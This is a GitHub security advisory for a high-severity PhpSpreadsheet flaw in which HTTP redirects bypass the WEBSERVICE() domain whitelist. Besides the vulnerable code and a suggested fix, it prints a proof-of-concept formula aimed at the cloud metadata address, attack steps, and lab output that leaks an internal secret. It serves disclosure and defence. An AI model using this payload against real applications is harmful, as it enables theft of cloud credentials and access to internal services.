GitHub Advisoryadvisory · Packagist

GHSA-6hq5-7373-42rg PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

HIGH Published 2026-07-23 Modified 2026-07-23 Official page ↗
Aliases
CVE-2026-59931
Ecosystem
Packagist
Packages
phpoffice/phpspreadsheet
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weaknesses
CWE-918
Reviewed
2026-07-23

Affected packages

• Packagist phpoffice/phpspreadsheet: >= 4.0.0, < 5.8.1 → fixed in 5.8.1 • Packagist phpoffice/phpspreadsheet: >= 3.3.0, < 3.10.7 → fixed in 3.10.7 • Packagist phpoffice/phpspreadsheet: >= 2.2.0, < 2.4.7 → fixed in 2.4.7 • Packagist phpoffice/phpspreadsheet: >= 2.0.0, < 2.1.18 → fixed in 2.1.18 • Packagist phpoffice/phpspreadsheet: < 1.30.6 → fixed in 1.30.6

Description

Summary The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect. Details In `Calculation/Web/Service.php`, the `webService()` method validates the URL's host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content. The stream context does not disable redirect following: ```php $ctxArray = [ 'http' => [ 'user_agent' => 'Mozilla/5.0 ...', // follow_location defaults to true // max_redirects defaults to 20 ], ]; ``` PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses. Vulnerable code (`Calculation/Web/Service.php`): ```php // Whitelist check — runs ONCE on the initial URL $domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? []; $host = $parsed['host'] ?? ''; if (!in_array($host, $domainWhiteList, true)) { return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED; } // HTTP request — follows redirects to ANY destination $ctx = stream_context_create($ctxArray); $output = @file_get_contents($url, false, $ctx); ``` Additionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host. PoC Prerequisites: • Application uses PhpSpreadsheet >= 5.4.0 • Application calls `$spreadsheet->setDomainWhiteList([...])` with at least one domain • Application calls `$cell->getCalculatedValue()` on uploaded XLSX files Attack steps: 1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls). 2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL: ```xml _xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/") ``` 3. Upload the XLSX to the target application. The calculation engine: • Validates `whitelisted-domain.com` against the whitelist — passes • Calls `file_get_contents("http://whitelisted-domain.com/redirect?url=...")` • `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` — no re-validation • Returns the cloud metadata response as the cell's calculated value Lab reproduction: ```bash Setup (PhpSpreadsheet 5.7.0, PHP 8.3) App whitelists "trusted-api.example.com" Redirect server on trusted-api.example.com:7071 returns 302 → internal target Test 1: Direct internal access — BLOCKED by whitelist =WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets") → Result: null (blocked) Test 2: Via redirect from whitelisted domain — BYPASS =WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal") → Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."} ``` Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain). Impact An attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can: • Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets • Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/` • Access internal services not exposed to the internet • Port-scan internal networks via any whitelisted hostname (port is not validated) This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value. Attack scenarios: • Whitelisted domain has an open redirect vulnerability • Attacker controls the whitelisted domain (e.g., a free-tier API service) • DNS rebinding after the whitelist check Suggested Fix Disable redirect following in the stream context: ```php $ctxArray = [ 'http' => [ 'user_agent' => '...', 'follow_location' => false, 'max_redirects' => 0, ], ]; ``` Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist. Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts. Related This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF. Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine. ---

Related

Alias · CVE (1)

  • CVE-2026-59931 PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References